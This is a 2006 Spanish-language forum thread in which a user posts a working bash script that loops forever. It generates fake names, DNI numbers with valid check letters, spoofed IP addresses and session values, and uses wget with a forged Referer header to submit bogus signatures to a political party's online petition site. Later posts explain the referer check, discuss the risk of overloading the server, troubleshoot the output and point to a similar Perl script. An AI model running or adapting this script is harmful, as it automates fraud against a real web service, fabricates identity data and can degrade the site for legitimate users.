| Ver tema anterior :: Ver tema siguiente |
| Autor |
Mensaje |
Atila Invitado
|
Publicado: Vie Feb 03, 2006 12:04 pm Asunto: Script para generar varias firmas por segundo |
|
|
Tengo un script que puede ayudaros en el objetivo de los 5 millones de firmas, incluso podemos llegar a mas de 40 millones (lo que no dejaria de ser curioso). Genera entre dos y tres firmas aletorias por segundo (en mi maquina).
El problema para muchos es que es un shell script de Linux (lo siento pero no se hacer scripts en Windows, tal vez alguien pueda hacer que funcione en Windows), pero bueno, si alguien tiene acceso a una maquina Linux puede generar unas 10.000 firmas por hora (240.000 al dia cada uno que lo ejecute).
Ahi va, solo teneis que cortar y pegar en un fichero, hacerlo ejecutable y generar dos ficheros mas en el mismo directorio: nombres.txt con una lista de nombres y apellidos.txt con una lista de apellidos:
| Código: |
#!/bin/bash
LETRA[0]=T
LETRA[1]=R
LETRA[2]=W
LETRA[3]=A
LETRA[4]=G
LETRA[5]=M
LETRA[6]=Y
LETRA[7]=F
LETRA[8]=P
LETRA[9]=D
LETRA[10]=X
LETRA[11]=B
LETRA[12]=N
LETRA[13]=J
LETRA[14]=Z
LETRA[15]=S
LETRA[16]=Q
LETRA[17]=V
LETRA[18]=H
LETRA[19]=L
LETRA[20]=C
LETRA[21]=K
LETRA[22]=E
random()
{
expr $(expr $RANDOM % $(expr $(expr $2 - $1) + 1)) + $1
}
I=0
while true
do
NOMBRE=$(head -n $(random 1 $(cat nombres.txt | wc -l)) nombres.txt | tail -n 1)
APELL1=$(head -n $(random 1 $(cat apellidos.txt | wc -l)) apellidos.txt | tail -n 1)
APELL2=$(head -n $(random 1 $(cat apellidos.txt | wc -l)) apellidos.txt | tail -n 1)
DNI=$(expr $(expr $(expr $RANDOM '*' 32768) + $RANDOM) % 100000000)
J=$(expr 9 - $(echo $DNI | wc -c))
while [ $J -gt 0 ]
do
DNI=0$DNI
J=$(expr $J - 1)
done
DNI=$DNI${LETRA[$(expr $DNI % 23)]}
IP=$(random 60 89).$(expr $RANDOM % 256).$(expr $RANDOM % 256).$(expr $RANDOM % 256)
DIA=$(random 1 28)
[ $DIA -lt 10 ] && DIA=0$DIA
MES=0$(random 1 3)
HORA=$(random 0 23)
[ $HORA -lt 10 ] && HORA=0$HORA
MIN=$(random 0 59)
[ $MIN -lt 10 ] && MIN=0$MIN
SEG=$(random 0 59)
[ $SEG -lt 10 ] && SEG=0$SEG
DATE="$DIA%2F$MES%2F2006%20$HORA%3A$MIN%3A$SEG"
SESION=$(expr $(expr $(expr $RANDOM '*' 32768) + $RANDOM) % 10000000)
J=$(expr 8 - $(echo $SESION | wc -c))
while [ $J -gt 0 ]
do
SESION=0$SESION
J=$(expr $J - 1)
done
SESION=9$SESION
echo $DNI $NOMBRE $APELL1 $APELL2
wget -nv -O /dev/null --timeout=5 --referer=http://www.pit-pp.info/form.asp --post-data=txtnombre=$NOMBRE%20$APELL1%20$APELL2\&txtdni=$DNI\&guest_ip=$IP\&guest_date=$DATE\&guest_sesion=$SESION http://www.pit-pp.info/env_form.asp\?modo=1
I=$(expr $I + 1)
done
|
|
|
| Volver arriba |
|
 |
Carolo Invitado
|
Publicado: Vie Feb 03, 2006 12:54 pm Asunto: Enhorabuena |
|
|
Enhorabuena, el código es bastante limpio y eficiente; de todas formas, creo que debería estar mejor documentado (algún comentario en el fuente no estaría de más).
Oye, ¿Y por qué no haces una dll para Windows en .NET? Es el s.o. que utilizamos en la mayoría de los ordenadores personales...ahhhhh, perdona, que no sabes....
Y....mejor aún ¿¿¿¿¡¡¡Por qué no te dedicas a aprender .NET o java o C++ o algún puñetero lenguaje de programación multiplataforma en vez de a hacer el gamberro!!!!???? |
|
| Volver arriba |
|
 |
Invitado
|
Publicado: Vie Feb 03, 2006 12:55 pm Asunto: |
|
|
| Pero pero pero... no lo deja en la web, lo suyo seria un script en javascript que directamente lanzara las peticiones a la web del pp, no crees?? |
|
| Volver arriba |
|
 |
Atila Invitado
|
Publicado: Vie Feb 03, 2006 1:25 pm Asunto: |
|
|
| Carolo escribió: | | Y....mejor aún ¿¿¿¿¡¡¡Por qué no te dedicas a aprender .NET o java o C++ o algún puñetero lenguaje de programación multiplataforma en vez de a hacer el gamberro!!!!???? |
Porque en mi tiempo libre hago lo que me sale de los cojones.
| Invitado escribió: |
Pero pero pero... no lo deja en la web, lo suyo seria un script en javascript que directamente lanzara las peticiones a la web del pp, no crees??
|
Claro que si, pero ya he dicho que no se. Si alguien que sepa quiere portarlo a otro lenguaje. |
|
| Volver arriba |
|
 |
twilight Invitado
|
Publicado: Vie Feb 03, 2006 1:43 pm Asunto: |
|
|
"¿Y por qué no haces una dll para Windows en .NET? "
Mariconadas.... lo voy a hacer en ensamblador!!!!
Carolo tio que te pasa??? estas estreñido?? |
|
| Volver arriba |
|
 |
Carolo Invitado
|
Publicado: Vie Feb 03, 2006 1:54 pm Asunto: |
|
|
| Cita: |
Porque en mi tiempo libre hago lo que me sale de los cojones.
|
Ahora entiendo las carencias del código fuente, los cojones no suelen producir buenos programas (bucles infinitos, etc.etc.). Sería mejor que te los guardaras en los pantalones y programaras con la cabeza. Ganarías en calidad. |
|
| Volver arriba |
|
 |
Invitado
|
Publicado: Vie Feb 03, 2006 1:56 pm Asunto: |
|
|
Habria que ver los programas que hacen los cabestros como tu...
Todo el mundo sabe que los cabestros son grandes programadores |
|
| Volver arriba |
|
 |
Carolo Invitado
|
Publicado: Vie Feb 03, 2006 2:29 pm Asunto: |
|
|
| Cita: |
Habria que ver los programas que hacen los cabestros como tu...
Todo el mundo sabe que los cabestros son grandes programadores
|
¿Eso va por mí??? uuuu, los cabestros....en fiestas de San Juan un cabestro saltó al callejón y preparó una más gorda que la propia vaquilla...qué risas....
Sabía que sería cuestión de dos mensajes más que entraras al trapo...¿quén es ahora el cabestro??? jajajajaj |
|
| Volver arriba |
|
 |
Invitado
|
Publicado: Vie Feb 03, 2006 2:36 pm Asunto: |
|
|
Hombre carolo que yo he necesitado dos mensajes (y no soy el que escribio el post original) pero tu solo has necesitado uno y sin que nadie te picara, o no recuerdas el segundo mensaje de la conversacion???
Ay... como duelen esos cuernos!!! no te preocupes carolo, que seguro que tu novia es ahora mas feliz XDDDDDD |
|
| Volver arriba |
|
 |
Atila Invitado
|
Publicado: Vie Feb 03, 2006 5:11 pm Asunto: |
|
|
Estoy tratando de sacar la version javascript. Al final me va a venir bien la tonteria de la recogida de firmas y voy a aprender algo nuevo.
Cuando lo tenga lo posteo. |
|
| Volver arriba |
|
 |
Atila Invitado
|
Publicado: Vie Feb 03, 2006 6:34 pm Asunto: |
|
|
Malas noticias: no se puede hacer en javascript porque no se puede firmar desde ningun browser normal (ni Internet Explorer ni Firefox), asi que solo se puede utilizar el script unix/linux.
Si quiereis una explicacion tecnica del porque, ahi va, si no, no hace falta que leais mas.
La pagina solo acepta firmas si en la peticion viene el "referer" puesto a "http://www.pit-pp.info/form.asp", es decir, si pinchas el boton firmar en esa pagina; si intentas firmar desde otra pagina la firma no es valida. Pero el "referer" es un campo que el usuario no puede fijar en los browser normales (lo ponen ellos automaticamente). Por lo tanto la unica solucion que yo veo es usar un "browser" que te permita fijar el "referer", como el comando "wget" de unix/linux. |
|
| Volver arriba |
|
 |
twilight Invitado
|
Publicado: Vie Feb 03, 2006 6:54 pm Asunto: |
|
|
Ahmmm ... que putada, ya me imaginaba yo que algo asi podia pasar, mas que nada para evitar un ataque DoS...
Pero bueno, estaba pensando en la tipica pagina con dos marcos (marco paginaPP, marco que te genera un nombre al azar y un DNI) eso es mas sencillo, prometo echarle un ojo este finde a ver si se puede hacer algo.
De todos modo yo creia que el wget solo servia en direccion servidor->cliente... ¿por cierto se podria hacer algo con lynx...? hay que mirarlo |
|
| Volver arriba |
|
 |
Atila Invitado
|
Publicado: Vie Feb 03, 2006 7:40 pm Asunto: |
|
|
Mirando el "man lynx" no deja fijar el referer, solo quitarlo.
De todas formas el comando wget del script funciona y el wget es una utilidad gratuita. Te la puedes bajar de http://www.gnu.org/software/wget/ en codigo fuente y compilarla. Hay incluso una version para Windows ya compilada, asi que si alguien sabe portar el resto del script de unix shell a windows "lo que sea" (no se que lenguaje de script tiene windows), pues a ello. Imagino que tambien habra paquetes ya compilados para las diferentes distribuciones de Linux... a buscar!. |
|
| Volver arriba |
|
 |
twilight Invitado
|
Publicado: Vie Feb 03, 2006 8:27 pm Asunto: |
|
|
Atila tio... acabo de probar tu script y es una autentica pasada...
X'DDDDDDD
Pero yo creo que esto no se puede portar a windows, muy currado, mi mas sencilla enhorabuena, lo proximo creo que podria ser modificar el valor de guest_ip=$IP mas que nada para que no nos acusen de DoS.... |
|
| Volver arriba |
|
 |
Atila Invitado
|
Publicado: Vie Feb 03, 2006 8:40 pm Asunto: |
|
|
Acusarnos de DoS? Yo desde luego no lo pretendo, lo que pretendo es que se recojan muchas firmas (invalidas por supuesto) para demostrar que la firma por Internet no vale para nada.
Ademas, antes de postear el script lo he tenido corriendo bastante tiempo y el servidor del PP ni se ha inmutado, seguia contestando con rapidez. Se ve que tienen pasta para pagar buenos servidores y conexiones de Internet, no como los pobres estudiantes.
Asi que nada de DoS, el objetivo es que el servidor recoja el mayor numero de firmas posible. |
|
| Volver arriba |
|
 |
twilight Invitado
|
Publicado: Vie Feb 03, 2006 8:46 pm Asunto: |
|
|
Si no te digo que no, pero si tu, yo y 800 tios mas nos dejamos el scritp arrancado 24horas es posible (solo posible) que deje de responder... y eso seria malo por dos motivos
1. El evidente... que van a ver quien ha sido el terrible pirata que ha hecho tal fechoria
2. Este es el peor, que les das un motivo para ir de victimas...
Aun asi, el script muy currado, es que esta mañana no habia visto lo del wget pero creo que es una gran idea.
Portabilidad a windows??? uff ufff ufffff como script no lo creo a no ser que lo hagas con perl, de todos modos habria que descargar tambien el wget (como bien has dicho), lo suyo seria hacerlo un js pero ya has dicho que no se podia.
Voy a ver si instalo esto en alguna maquina del ciberespacio y lo dejo corriendo que no consume nada.
Un saludo |
|
| Volver arriba |
|
 |
Atila Invitado
|
Publicado: Vie Feb 03, 2006 8:56 pm Asunto: |
|
|
| Pues entonces mejor no portarlo a windows. Funcionando solo en Linux es imposible que se sature la pagina del PP: solo lo usamos cuatro colgaos, comparado con windows. Sin embargo si que podemos poner unos cuantos cientos de miles o millones de firmas en unos dias. |
|
| Volver arriba |
|
 |
Atila Invitado
|
Publicado: Vie Feb 03, 2006 10:26 pm Asunto: |
|
|
Creo que van a recoger muchas firmas: buscando por ahi he encontrado otro script (este en perl) que hace lo mismo que el mio.
http://codepaste.net/305 |
|
| Volver arriba |
|
 |
Invitado
|
Publicado: Dom Feb 05, 2006 4:22 am Asunto: |
|
|
me sale esto en cada voto
ACABADO --03:21:01--
Descargados: 1,509 bytes en 1 ficheros
46504739G Jorge Martín Fernández
03:21:05 URL:http://www.pit-pp.info/dnino.asp [1509/1509] -> "/dev/null" [1]
es lo k tiene k salir??? lo digo x el dev null
si esto funciona (espero que si) creo que superaremos los 40 millones.. |
|
| Volver arriba |
|
 |
Atila Invitado
|
Publicado: Lun Feb 06, 2006 11:40 am Asunto: |
|
|
No esta bien. Algo te esta fallando, pero no es el /dev/null. El /dev/null es normal. Lo importante es que en la URL que te sale ponga firmaok.asp
Debe salir algo asi por cada firma:
85882088L Alba Martinez Garcia
01:09:57 URL:http://www.pit-pp.info/firmaok.asp [1614/1614] -> "/dev/null" [1] |
|
| Volver arriba |
|
 |
twilight Invitado
|
Publicado: Lun Feb 06, 2006 1:15 pm Asunto: |
|
|
| En este momento esta funcionando correctamente, puede que el formulario haya estado caido temporalmente... no se |
|
| Volver arriba |
|
 |
twilight Invitado
|
Publicado: Lun Feb 06, 2006 1:22 pm Asunto: |
|
|
Por cierto atila, he publicado el codigo en mi blog twilight.blogsome.com si no te importa, si te importa lo quito en un momento.
Un saludo |
|
| Volver arriba |
|
 |
Atila Invitado
|
Publicado: Lun Feb 06, 2006 4:17 pm Asunto: |
|
|
Sin problema.
El codigo es libre y podeis modificarlo, publicarlo, tirarlo o pintarlo de verde si quereis. |
|
| Volver arriba |
|
 |
ESPHERA Invitado
|
Publicado: Mar Feb 07, 2006 4:58 pm Asunto: |
|
|
| ...creo que Carolo ya se encargará de enviar un mensajito a la sede del PP para que evitar que funcione el script en la pagina.... |
|
| Volver arriba |
|
 |
Invitado
|
Publicado: Mar Feb 21, 2006 1:50 am Asunto: |
|
|
| Simplemente da igual, no sabrán como evitarlo...., yo he entrado durante algún tiempo en sus foros, para ver de qué hablaban, y no veas como son los informáticos, no tienen ni idea... |
|
| Volver arriba |
|
 |
|